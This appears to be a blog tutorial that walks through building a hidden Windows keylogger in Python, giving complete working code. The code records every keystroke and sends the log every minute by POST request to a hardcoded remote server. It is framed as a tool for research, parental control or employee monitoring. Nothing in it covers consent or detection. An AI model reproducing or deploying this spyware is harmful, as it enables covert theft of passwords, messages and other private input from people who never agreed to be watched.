In situations, when you need to track user activity, such as in a research study, parental control or monitoring employee productivity, a keylogger tool can be really useful.
In this article, we will use Python to send keyboard data (user keystrokes) to remote server. Before we get started, make sure you have Python installed on your system (Here is a complete tutorial on Python installation)
Creating a Windows keylogger with Python
Here is the step-by-step guide for creating a hidden keylogger using Python script:
Step 1: Import Required Libraries
First, we need to do is import the necessary libraries. We need to import four functions given as follows:
-
pynput
:keyboard
- monitor the keyboard
-
requests
- send POST
requests to the server
-
json
- convert Python objects to JSON
strings
-
threading
- set up a timer function
# import libs
from pynput import keyboard
import requests
import json
import threading
Step 2: Set Up Global Variables
Next, We will create a variable "text
" to hold the text that we'll send to the server.
Next, we have to hardcode values of our server IP address and port. The "time_interval
" variable specifies the time interval in seconds for the code to execute (which sends keyboard data).
# initialize text which will be sent to server
text = ""
# setup global variables
ip_address = "105.78.32.16"
port_number = "8081"
time_interval = 60
Replace "ip_address
" and "port_number
" with your server's IP address and port number.
Step 3: Record Keyboard Data
The on_press()
function is used to record all keyboard data.
-
log the key once it is released so that it takes the modifier keys into consideration
-
key gets logged to the in-memory string based on the key press
-
convert the key object to a string
-
append it to the string held in memory
# Record all keyboard input
def on_press(key):
global text
if key == keyboard.Key.enter:
text += "\n"
elif key == keyboard.Key.tab:
text += "\t"
elif key == keyboard.Key.space:
text += " "
elif key == keyboard.Key.shift:
pass
elif key == keyboard.Key.backspace and len(text) == 0:
pass
elif key == keyboard.Key.backspace and len(text) > 0:
text = text[:-1]
elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
pass
elif key == keyboard.Key.esc:
return False
else:
text += str(key).strip("'")
Step 4: Define a Function to Send POST Requests
Now, define a function to send POST
requests to the remote server.
-
convert the Python object into a JSON
string so that we can POST it to the server
-
create a payload variable that holds the JSON string
-
use the requests library to send the POST request to the server
-
set up a timer function to run every time_interval
seconds
-
call send_post_req()
recursively as long as the program is running
# Send keyboard input
def send_post_req():
try:
payload = json.dumps({"keyboardData" : text})
r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"})
timer = threading.Timer(time_interval, send_post_req)
timer.start()
except:
print("Request failed!")
Step 5: Send the POST Request
In this final step, we create a keyboard listener using the "Listener()
" function from keyboard
library. We pass "on_press()
" function as callback to listener, which means that every time a key is pressed, the "on_press()
" function will be called.
-
Start by calling the "send_post_req()
" function to send initial POST
request to the server
-
Use the "listener.join()
" function to keep keyboard listener running in background while main thread waits for listener to finish.
with keyboard.Listener(
on_press=on_press) as listener:
# sending the post request to remote server
send_post_req()
listener.join()
After completing the above steps, we have a working keylogger program.